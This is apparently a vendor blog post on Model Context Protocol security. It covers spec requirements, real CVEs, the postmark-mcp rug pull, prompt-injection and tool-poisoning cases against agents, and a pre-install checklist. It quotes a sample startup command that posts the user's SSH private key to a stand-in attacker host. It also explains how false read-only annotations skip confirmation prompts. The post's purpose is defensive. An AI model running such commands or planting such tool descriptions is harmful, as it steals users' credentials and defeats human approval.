MCP Security: The Distribution Chain Nobody Audits (And What To Check Yourself)
The Model Context Protocol ships one of the most security-forward specs of its age — a dedicated normative document that names and diagrams confused-deputy attacks, token passthrough, SSRF, and session hijacking. And yet three sentences, each from a primary source, stack into an uncomfortable conclusion: the official registry says it relies on the broader ecosystem to scan server code, Anthropic says its directory listing review is not a security audit, and the spec itself says MCP cannot enforce security principles at the protocol level. Nobody in the published chain reads the code. You are the audit layer. This is what to look at before you paste that line into your config.
MCP's own documentation calls it a USB-C port for AI applications. It is a good analogy, and most articles stop right where it gets interesting.
USB-C standardized the plug. It did not standardize the trustworthiness of whatever is on the far end of the cable. That is why BadUSB exists, why juice-jacking exists, and why you do not plug a stranger's thumb drive into your laptop even though the connector fits perfectly.
MCP standardized the plug. This article is about the cable.
What MCP actually is (and what it is not)
The Model Context Protocol was open-sourced by Anthropic on November 25, 2024. It is an open protocol using JSON-RPC 2.0 over stateful connections, explicitly inspired by the Language Server Protocol. Three roles: Hosts (LLM applications that initiate connections), Clients (connectors living inside the host), and Servers (services providing context and capabilities). Early named adopters included Block and Apollo, plus dev-tool companies Zed, Replit, Codeium, and Sourcegraph.
Adoption broadened fast and verifiably. OpenAI adopted MCP in March 2025 across the Agents SDK, Responses API, and ChatGPT desktop, and joined the steering committee. Google confirmed Gemini support in April 2025. Microsoft announced native Windows 11 MCP support in preview at Build 2025. Official SDKs are tiered, not flat — Tier 1: TypeScript, Python, C#, Go; Tier 2: Java, Rust; Tier 3: Swift, Ruby, PHP, Kotlin. Ten of them, not two.
Here is the first correction most content needs. You will read everywhere that MCP has three primitives. That is only the server half. Servers offer Resources (context and data), Prompts (templated messages and workflows for users), and Tools (functions the model executes). But clients offer three too: Sampling (server-initiated recursive LLM interactions), Roots (URI and filesystem boundaries), and Elicitation (server-initiated requests for user information). Sampling is security-relevant on its face: a server can ask your host to run inference. If your mental model of MCP has three primitives in it, you are missing the half where the server talks back. For the broader architectural contrast, we covered the shape of the protocol against conventional integrations in MCP vs API.
The current spec version is 2025-11-25, authoritative via the TypeScript schema in the repo. Note that a great deal of high-ranking content still prints 2025-06-18 as current. The spec has revved roughly every three to four months (2024-11-05 → 2025-03-26 → 2025-06-18 → 2025-11-25), so date-stamp anything you read, including this. As of July 2026, 2025-11-25 is current.
The audit hole, in three quotes
Search results for MCP security split into two piles. Pile one regurgitates the spec — confused deputy, token passthrough, PKCE. Accurate, but written for the person building an MCP server's auth layer, which is maybe one percent of readers. Pile two is vendor content where every checklist terminates in buy our gateway. Neither answers the question you actually have, which is: I am about to paste a line into my config. What do I look at?
Start by noticing what nobody tells you. Three sentences, each from a primary source, stack:
1. The official MCP Registry. Verbatim from its own docs: the registry focuses on namespace authentication and metadata hosting, while relying on the broader ecosystem for security scanning of actual server code. It delegates scanning to the underlying package registries — npm, PyPI, Docker Hub — and to downstream aggregators. It hosts metadata pointing at packages, not the packages themselves. It is still in preview, with an explicit warning that breaking changes or data resets may occur before general availability. Its trust mechanism is namespace authentication via reverse-DNS names (io.github.user/server) verified through GitHub, DNS, or HTTP challenges. That verifies who published, not what they published.
2. Anthropic. Verbatim from Claude Code's security documentation: Anthropic reviews connectors against its listing criteria before adding them to the Anthropic Directory, but does not security-audit or manage any MCP server. And the follow-on advice: We encourage either writing your own MCP servers or using MCP servers from providers that you trust.
3. The specification. From the top-level Security and Trust & Safety principles: tools represent arbitrary code execution and must be treated with appropriate caution, and — the sentence that governs everything below — MCP itself cannot enforce these security principles at the protocol level.
Registry says the ecosystem checks. Directory says listing review is not a security audit. Spec says the protocol cannot enforce anything. Now trace it forward: npm and PyPI scan for known malware signatures. They do not scan for a one-line BCC in an otherwise-legitimate email server. Which is exactly what happened.
The trust boundary is the context window
Almost every MCP security diagram you have seen draws a boundary around each server, as if servers were sandboxed from one another. They are not. The boundary is around the agent's context, and everything you connect lives inside one shared blast radius.
The proof is Invariant Labs' cross-server proof of concept: a benign-looking trivia server whose tool description hijacks a separate, legitimate whatsapp-mcp server connected to the same agent. The poisoned server never touches your messages. It just tells the model to. This reframes the whole question. It is not is this server trustworthy? It is what does this server let everything else reach?
What the spec actually requires
Credit where due: the 2025-11-25 spec is more rigorous than most protocols ship at this age. It is worth knowing what it says, precisely, because several widely-repeated claims are simply outdated.
Transports. Exactly two are standard: stdio and Streamable HTTP. Clients SHOULD support stdio whenever possible. Streamable HTTP explicitly replaces the HTTP+SSE transport from protocol version 2024-11-05, referred to as the deprecated HTTP+SSE transport. One nuance that confuses people: Streamable HTTP still uses SSE internally for streaming. So SSE is deprecated is true of the old 2024-11-05 transport, not of server-sent events as a mechanism. Claude Code still ships a --transport sse flag while warning it is deprecated.
The Streamable HTTP warning is normative and specific. Servers MUST validate the Origin header on all incoming connections and MUST respond 403 Forbidden if Origin is present and invalid. When running locally, servers SHOULD bind only to 127.0.0.1 rather than 0.0.0.0. Servers SHOULD implement proper authentication for all connections. The spec's own justification: without these protections, attackers could use DNS rebinding to interact with local MCP servers from remote websites.
Authorization is OPTIONAL. HTTP transports SHOULD conform to the authorization spec; stdio implementations SHOULD NOT follow it, and should retrieve credentials from the environment instead. This kills two claims at once: MCP has no authentication and MCP now requires OAuth are both wrong. When authorization is used it builds on OAuth 2.1 — note that OAuth 2.1 is an IETF draft (draft-ietf-oauth-v2-1-13), not a ratified RFC, so the OAuth 2.1 standard is a phrase to avoid — plus RFC 8414, RFC 9728, and RFC 7591.
Dynamic Client Registration has been demoted, and this is the single most outdated claim in circulation. The spec now says clients and authorization servers MAY support RFC 7591, and states plainly that the option is included for backwards compatibility with earlier versions of the MCP authorization spec. The preferred path is now Client ID Metadata Documents (SHOULD support), where an HTTPS URL is the client_id. Registration priority runs: pre-registered credentials → Client ID Metadata Documents → DCR → prompt the user. Writing MCP uses dynamic client registration as present-tense best practice is now actively wrong.
The hard MUSTs worth memorizing. Servers MUST implement RFC 9728 Protected Resource Metadata; clients MUST use it for AS discovery. Clients MUST implement RFC 8707 Resource Indicators — the resource parameter MUST be in both authorization and token requests, and MUST be sent regardless of whether the AS supports it. Clients MUST implement PKCE with S256 and MUST refuse to proceed if code_challenge_methods_supported is absent from AS metadata. On token passthrough the language is blunt: MCP servers MUST NOT accept any tokens that were not explicitly issued for the MCP server, and the MCP server MUST NOT pass through the token it received from the MCP client. The named risks are security control circumvention, broken audit trails, trust boundary violation, and future compatibility risk.
The confused deputy attack is precisely scoped — not a vague hazard. It requires all four of: a proxy server using a static client ID with a third-party AS; the proxy letting MCP clients dynamically register their own client_id; the third-party AS setting a consent cookie after first authorization; and the proxy not implementing per-client consent before forwarding. The cookie makes the AS skip the consent screen, and the auth code lands at the attacker's dynamically-registered redirect_uri. Mitigations are equally specific: per-client consent storage, exact-string redirect_uri matching (no wildcards), __Host- prefixed Secure/HttpOnly/SameSite=Lax signed consent cookies bound to client_id, and single-use state values stored only after consent approval.
Session hijacking gets two sentences worth quoting: servers implementing authorization MUST verify all inbound requests, and MCP Servers MUST NOT use sessions for authentication. Session IDs MUST be secure and non-deterministic, and SHOULD be bound to user info via a key format like <user_id>:<session_id>.
Scope minimization is a named section, and the listed common mistakes read like a code review: publishing every possible scope in scopes_supported, wildcard scopes (*, all, full-access), bundling unrelated privileges, and treating claimed scopes in token as sufficient without server-side authorization logic. Recommended instead: a minimal initial scope set (the spec's example is mcp:tools-basic) with incremental elevation via WWW-Authenticate scope challenges and 403 insufficient_scope step-up flows.
SSRF gets an MCP-specific treatment. A malicious server can poison OAuth discovery by putting internal URLs in the WWW-Authenticate resource_metadata header, in authorization_servers URLs, or in token_endpoint. Named targets: http://169.254.169.254/ (cloud metadata → IAM credential exfiltration) and http://localhost:6379/ (Redis). Mitigations: enforce HTTPS, block private and reserved ranges (10/8, 172.16/12, 192.168/16, 127/8, 169.254/16, fc00::/7, fe80::/10), validate redirect targets, use an egress proxy (the spec names Stripe's Smokescreen), and watch for DNS TOCTOU. The spec's own advice, worth tattooing on a wall: Avoid implementing IP validation manually.
And the critical caveat that separates a useful article from a misleading one. The tools spec says servers MUST validate inputs, implement access controls, rate limit invocations, and sanitize outputs. Read that sentence again with a malicious server in mind. A malicious server simply will not comply. Spec MUSTs bind honest implementers. They are protections against buggy servers, not hostile ones. Never present a spec MUST as a defense against an adversary who has no reason to read it.
Four incidents that actually happened
Everything above is theory. Here is the record, traced to primary or near-primary sources rather than listicles.
CVE-2025-6514 — mcp-remote. The local proxy that lets clients like Claude Desktop reach remote servers was exposed to OS command injection when connecting to untrusted MCP servers, via crafted input from the authorization_endpoint response URL. CWE-78. Affects >=0.0.5, <0.1.16; patched in 0.1.16; published 2025-07-09. Reported at roughly 437,000 npm downloads at disclosure. The CVSS 9.6 CRITICAL score was assigned by JFrog, the reporting CNA — NVD's own page states it has not prioritized this CVE for enrichment. Attribute the score to JFrog, not NIST. What makes this one instructive: it is precisely the spec's OAuth Authorization URL Validation attack class realized in the wild. The spec's countermeasure is exact — clients MUST only allow http and https authorization URL schemes, MUST reject javascript:, data:, file:, and vbscript:, and MUST NOT use shell commands to open URLs. Note also the spec's own framing: the stdio transport itself is not inherently vulnerable; the escalation path applies to proxy architectures where a local proxy spawns servers as child processes.
CVE-2025-49596 — MCP Inspector. Remote code execution in Anthropic's own official debugging tool, reported by Oligo Security and scored 9.4 CRITICAL. Root cause: the proxy server MCP Inspector launched shipped with no authentication between the Inspector client and the proxy, so unauthenticated requests could launch MCP commands over stdio — reachable from an attacker on the same network, or cross-site via DNS rebinding from a malicious web page. Fixed in MCP Inspector 0.14.1. NVD carries the same caveat as above, stating it has not prioritized this CVE for enrichment either. But note the difference, because it is the kind of thing that gets repeated wrong: the 9.4 is a CVSS 4.0 score assigned by GitHub as the CNA — not by Oligo, who only reported it, and not by NIST. The durable rule is that a CVSS number belongs to whichever CNA issued it, and the CNA is not always the researcher whose name is on the writeup. Check the record rather than the headline.
postmark-mcp — the rug pull. September 2025, documented by Koi Security. An npm package impersonating Postmark's official tooling. The attacker did not write malware; they copied the legitimate code from Postmark's repo and added one line. Versions 1.0.0 through 1.0.15 were clean. Version 1.0.16 silently BCC'd every email sent through the server to an attacker-controlled address. The package was uploaded September 15, 2025 by a developer who maintained 31 other packages. Postmark's statement: they did not develop, authorize, or have any involvement with the package, and their legitimate API and services remain secure and unaffected. It is widely called the first malicious MCP server — that superlative is Koi's claim and is inherently unprovable, so treat it as first publicly documented. The circulating impact figures (roughly 300 organizations, 3,000–15,000 emails/day) are Koi extrapolations from an assumed ~20% production-usage rate, not counts; download numbers are inconsistent across outlets. Drop the numbers. The one-line diff after fifteen clean versions is the entire lesson, and it is stronger without them.
Asana MCP — the boring one that matters most. Asana launched its MCP server May 1, 2025, discovered a flawed tenant isolation check June 4, and took the feature offline June 5–17. Roughly 1,000 customers affected (Asana's own figure). Under specific conditions, users could access other organizations' project data, tasks, comments, team details, and uploaded files — though limited to the MCP user's own permission scope. This was a logic flaw, not a hack, and reporting shows no evidence of malicious exploitation. Include it precisely because it is unglamorous: first-party remote MCP servers carry ordinary multi-tenant SaaS risk, not exotic AI risk. Half of your MCP exposure is just web security with a new acronym on it, and the same discipline you apply to handling API failures and status semantics applies here.
And one that is not a vulnerability, no matter what the headlines say. Invariant Labs demonstrated (published May 26, 2025) that a malicious issue filed in a public GitHub repo could prompt-inject an agent using the official GitHub MCP server into reading private repos and leaking their contents into a public PR. Demonstrated with Claude 4 Opus. The framing matters and several outlets got it wrong: the researchers state explicitly that this is not a flaw in the GitHub MCP server code itself, but rather a fundamental architectural issue that must be addressed at the agent system level, and that GitHub alone cannot resolve it through server-side patches. There is no CVE. Calling it a GitHub MCP vulnerability is both factually wrong and unfair. Their recommended mitigations are architectural too: one-repository-per-session limits, least-privilege access tokens, runtime guardrails, and scanners.
Testing agent behavior against a hostile tool set
Most of this article's advice comes down to knowing how your model behaves when a tool description lies to it. That is worth measuring, not assuming — and it varies by model. DataLLM Lab gives you 300+ models behind one OpenAI-compatible key, so you can replay the same poisoned-description harness across frontier models without juggling six provider accounts and six billing relationships.
The annotation paradox
This is the sharpest thing in the ecosystem and I have not seen it written down. It takes two sources.
Source one — MCP's schema.ts, verbatim: NOTE: all properties in ToolAnnotations are hints. They are not guaranteed to provide a faithful description of tool behavior (including descriptive properties like title). Clients should never make tool use decisions based on ToolAnnotations received from untrusted servers. The tools spec repeats it normatively: For trust & safety and security, clients MUST consider tool annotations to be untrusted unless they come from trusted servers. The fields are title, readOnlyHint (default false), destructiveHint (default true, meaningful only when readOnlyHint is false), idempotentHint (default false), and openWorldHint (default true).
Source two — Anthropic's connector review criteria, which state that annotations determine auto-permissions in Claude: read-only tools can run without per-call confirmation; destructive tools always prompt.
Put those side by side. The field that suppresses your confirmation prompt is set by the server author — precisely the party a malicious-server threat model distrusts. A hostile server declares readOnlyHint: true on a tool that exfiltrates, and the prompt that would have saved you never fires.
Note the defaults are actually well-designed: destructiveHint defaults to true and readOnlyHint defaults to false. Both fail safe. The danger is not the defaults — it is that a server can lie in the safe direction. And the only thing standing between schema.ts's warning and Anthropic's auto-permission behavior is directory review, which Anthropic's own security docs say is not a security audit.
The spec's honest fallback is a human: For trust & safety and security, there SHOULD always be a human in the loop with the ability to deny tool invocations. Which is only useful if the loop actually fires. If you are choosing models for agentic work, how a model handles adversarial tool metadata belongs in your evaluation — see our breakdown of models for agent workloads, and note that the same context-hygiene discipline that reduces hallucination also reduces how much untrusted text your model treats as instruction.
Risk, mitigation, and who enforces it
Every MCP risk table you will find lists risks and mitigations. None of them add the column that matters. Here it is.
| Risk | What the spec says | Who actually enforces it? | What you do about it |
|---|---|---|---|
| Token passthrough | MUST NOT accept tokens not issued for the MCP server | Spec (MUST) — honest servers only | Nothing, if the server complies. Nothing you can do if it does not. |
| Confused deputy via proxy | Per-client consent, exact redirect_uri match, __Host- cookies | Spec (MUST) + proxy author | Prefer direct connections over proxy architectures where you can. |
| DNS rebinding on local server | MUST validate Origin, 403 on invalid; SHOULD bind 127.0.0.1 | Server author | Check the bind address yourself. 0.0.0.0 on a local server is a finding. |
| SSRF via poisoned OAuth discovery | Enforce HTTPS, block private ranges, use an egress proxy | Your client | Verify your client blocks 169.254.169.254. Do not hand-roll IP validation. |
| Malicious startup command | Client MUST show the exact command untruncated, require approval | Your client | Read the command. Grep it for &&, curl, ~/.ssh before you accept. |
| Lying tool annotations | Clients MUST treat annotations as untrusted | Nobody — the client uses them anyway to set auto-permissions | Read tools/list yourself. Compare every readOnlyHint against the code. |
| Tool poisoning (hidden instructions) | Descriptions untrusted; human SHOULD be in the loop | You | Read tool descriptions before connecting. Apply the directory rubric yourself. |
| Prompt injection via tool results | Clients SHOULD validate results before passing to the LLM | Nobody — no MUST solves this | Limit scope per session. Assume any fetched content is hostile. |
| Supply-chain rug pull (postmark-mcp) | Not addressed — out of protocol scope | Nobody — registry delegates scanning; directory review is not an audit | Pin versions. Diff the newest release against the last one. |
| Repo-proposed servers via .mcp.json | Not in spec — client-level control | Your client (Claude Code gates it) | Do not accept the workspace trust dialog reflexively on a fresh clone. |
| Tenant isolation bug (Asana) | Not addressed — ordinary SaaS risk | The vendor | Nothing MCP-specific. This is vendor due diligence. |
Look at the third column. Several of the highest-impact rows land on You or Nobody. That column is the argument of this entire article in one glance, and it is why the vendor pile's buy our gateway conclusion is only partially right — a gateway can enforce some of these rows and cannot enforce others at all.
The install-review checklist
Here is the move nobody has made. Anthropic publishes its connector review criteria — and read carefully, that page is a rejection rubric. Those are the reviewer's criteria. For anything outside the Directory, which is most of npm, you are the reviewer. So take their rubric and use it as yours.
1. Read the config command, literally, character by character. The spec's own Local MCP Server Compromise section gives the example: npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location. That is a startup command in a config file. It is not hypothetical. If a client offers one-click local server config, the spec says it MUST show the exact command without truncation, identify it as dangerous, require explicit approval, and allow cancel. Your job is to actually read it. Grep for &&, ;, curl, wget, and any path near ~/.ssh. Remember the spec's blunt framing, which clients SHOULD surface: MCP servers run with the same privileges as the client.
2. Diff the latest version against the previous one. Run npm view <pkg> versions and compare. This single step is literally what would have caught postmark-mcp 1.0.16 — one added line in an otherwise-identical package. Rug pulls do not look like malware; they look like the last version plus a diff. npm's malware scanning does not catch a BCC. You might.
3. Check the namespace against the vendor's real domain. The registry's trust mechanism is reverse-DNS namespace authentication (io.github.user/server) verified via GitHub, DNS, or HTTP challenges. So check whether the namespace maps to the domain the vendor actually owns. postmark-mcp had no such claim. That check is cheap and it is the only signal the registry is actually designed to give you.
4. Read tools/list before you connect it to anything real. Use MCP Inspector (pinned at 0.14.1 or later, given CVE-2025-49596) and inspect the tool list before wiring the server into an agent that holds credentials. Compare every readOnlyHint: true against what the tool's code actually does. That is the annotation paradox in practice: you are manually verifying the field that would otherwise silently disable your own confirmation prompt.
5. Apply Anthropic's rejection rubric yourself. From their published criteria — read and write tools must be separate (a catch-all api_request tool with a method parameter is rejected, and it is a great smell to look for); every tool must carry a title plus either readOnlyHint: true or destructiveHint: true; tool names under 64 characters; descriptions must match actual behavior. Descriptions are rejected if they instruct the model to call software the user did not request, interfere with the model calling other tools, direct the model to pull behavioral instructions from external sources, contain hidden, obfuscated, or encoded instructions, or attempt to override system instructions. Their one-line summary is the best heuristic in the whole ecosystem: Describe what the tool does. Do not tell Claude how to behave. Any description that reads like a system prompt is a finding.
6. Pin the version. Do not track latest. Rug pulls arrive via auto-update. Fifteen clean versions then one poisoned one is not an unlucky roll — it is the business model. Pinning converts a silent compromise into a decision you make deliberately.
7. Understand your client's config scopes. Claude Code has three with real consequences: local (default, private to you in the current project), project (shared via .mcp.json at the project root, checked into version control), and user (all your projects). Because .mcp.json is committed, a cloned repo can propose servers. Claude Code gates this — the principle, which is what to remember rather than the build numbers, is that a cloned repository cannot approve its own servers. Committed enable-all settings are ignored in an untrusted folder and the server sits at pending approval until you accept the workspace trust dialog. That dialog is a security control. Do not click through it on a fresh clone from a stranger.
8. Assume fetched content is hostile. Claude Code's docs put it plainly: Verify you trust each server before connecting it. Servers that fetch external content can expose you to prompt injection risk. There is no clean spec mitigation here. Invariant's position is that it is not solvable at the server level at all. Anthropic's own hedge on its documented safeguards — permission system, isolated context windows for web fetch, curl and wget not auto-approved, trust verification for new MCP servers, credentials stored in the macOS Keychain where available and protected by file permissions elsewhere — is the honest register to adopt: While these protections significantly reduce risk, no system is completely immune to all attacks.
Where a gateway helps (and where it does not)
Since most search results on this topic conclude with buy our gateway, let us be precise about what that layer can and cannot do — because half the vendor claims are true and half are not.
A gateway sits on the model side of the connection, not the server side. That means it genuinely helps with credential sprawl: one key instead of six provider relationships, centralized rotation, one audit surface for what models were called and by whom, and consistent error semantics across providers. Those are real. It is the same argument for why an LLM gateway exists at all, and it composes with bring-your-own-key setups when you want provider keys under your own control.
What a gateway cannot do is read the tool description a malicious MCP server just injected into your agent's context. It cannot tell you that readOnlyHint: true is a lie. It cannot diff npm version 1.0.16 against 1.0.15. Those rows in the table above land on You for a structural reason, and no product moves them. Anyone selling you otherwise is selling the wrong column.
Which brings this back to where it started. MCP is a well-specified protocol with an unusually thorough security document, and the spec authors deserve more credit than the MCP is insecure headlines give them. The protocol is fine. Enforcement is delegated to clients, and clients vary. And the distribution chain that ships servers to your machine is unaudited by documented design — the registry says so, Anthropic says so, and the spec says it cannot help.
USB-C standardized the plug. Somebody still has to look at the cable. As of July 2026, that somebody is you.
FAQ
Is MCP insecure?
No — that framing is wrong and it ages badly. The MCP specification is unusually security-forward for a protocol this young: version 2025-11-25 ships a dedicated, normative Security Best Practices document that names and diagrams confused-deputy attacks, token passthrough, SSRF via OAuth discovery, and session hijacking, with MUST and SHOULD language throughout. The accurate concern is narrower and structural. The spec itself states that MCP itself cannot enforce these security principles at the protocol level, which means enforcement is delegated entirely to clients. And the distribution chain around it is unaudited by documented design: the official MCP Registry says it relies on the broader ecosystem for security scanning of actual server code, while Anthropic states it does not security-audit or manage any MCP server. The protocol is fine. The chain that ships servers to you has a documented hole in it.
Does MCP require OAuth?
No. Authorization is OPTIONAL in the MCP specification. HTTP-based transports SHOULD conform to the authorization spec, which is built on OAuth 2.1 — still an IETF draft (draft-ietf-oauth-v2-1-13), not a ratified RFC. But implementations using the stdio transport SHOULD NOT follow it; the spec says they should retrieve credentials from the environment instead. That is why your local MCP servers take API keys as environment variables in a JSON config file, often in plaintext, sometimes committed to a repo. That is by design, not a spec violation — but it is still a real risk you have to manage yourself. Two claims you will see repeated online are both wrong: MCP has no authentication and MCP now requires OAuth. A related correction: Dynamic Client Registration is no longer the recommended path. The 2025-11-25 spec demotes RFC 7591 to MAY and says it is included for backwards compatibility; Client ID Metadata Documents is the preferred approach now.
What is tool poisoning in MCP?
Tool poisoning is hidden instructions embedded in a tool description or its metadata — text the user never sees in the UI but the model reads in full as part of its context. Invariant Labs surfaced this class around April 2025 and publishes reproducible proofs of concept. The most instructive one is cross-server: a benign-looking trivia server whose tool description hijacks the behavior of a separate, legitimate whatsapp-mcp server connected to the same agent. The poisoned server never touches your messages — it just tells the agent to. That is the whole lesson: the trust boundary is the agent's context window, not the individual server, and every server you connect shares one blast radius. Anthropic's connector review criteria reject descriptions containing hidden, obfuscated, or encoded instructions, but that rubric only applies inside their Directory. For anything on npm, you are the reviewer — so read the descriptions before you connect.
Has a malicious MCP server actually been found in the wild?
Yes. In September 2025, Koi Security documented postmark-mcp, an npm package impersonating Postmark tooling. The attacker copied the legitimate code from Postmark's repository and published it under a similar name. Versions 1.0.0 through 1.0.15 were clean. Version 1.0.16 added one line that silently BCC'd every email sent through the server to an attacker-controlled address. It is widely described as the first publicly documented malicious MCP server — that superlative is Koi's claim and inherently unprovable, so treat it as first publicly documented. Postmark stated they did not develop, authorize, or have any involvement with the package, and that their legitimate API and services remained secure and unaffected. Impact figures circulating (roughly 300 organizations, thousands of emails per day) are Koi extrapolations from an assumed production-usage rate, not counts — and download numbers are inconsistent across outlets. The one-line diff after fifteen clean versions is the durable lesson: this is a textbook rug pull, and pinning versions instead of tracking latest is the cheap defense.
Can I trust readOnlyHint to keep a tool from doing damage?
No, and this is the sharpest contradiction in the ecosystem. MCP's schema.ts states that all properties in ToolAnnotations are hints, that they are not guaranteed to provide a faithful description of tool behavior, and that clients should never make tool use decisions based on ToolAnnotations received from untrusted servers. Meanwhile Anthropic's connector review criteria state that annotations determine auto-permissions in Claude: read-only tools can run without per-call confirmation; destructive tools always prompt. Read those two sentences together and the field that suppresses your confirmation prompt is set by the server author — precisely the party a malicious-server threat model distrusts. The defaults are actually fail-safe (destructiveHint defaults to true, readOnlyHint to false); the problem is that a server can lie in the safe direction. Directory review is the only thing checking, and Anthropic says that review is not a security audit.
What should I check before installing an MCP server?
Six checks, in order of return on effort. One: read the config command literally — look for &&, curl, wget, or any path near ~/.ssh; the spec's own example of a malicious startup command chains npx to a curl that POSTs your private key. Two: run npm view <pkg> versions and diff the newest version against the previous one — that single step is literally what would have caught postmark-mcp 1.0.16. Three: check that the registry namespace's reverse-DNS actually matches the vendor's real domain, since the registry's trust mechanism is namespace authentication, not code review. Four: inspect tools/list output before wiring the server into a real agent, and compare every readOnlyHint: true against what the tool actually does. Five: apply Anthropic's published rejection rubric yourself — no catch-all api_request tool with a method parameter, no hidden or encoded instructions in descriptions, descriptions that match behavior. Six: pin the version instead of tracking latest, because rug pulls arrive via auto-update.
DataLLM Lab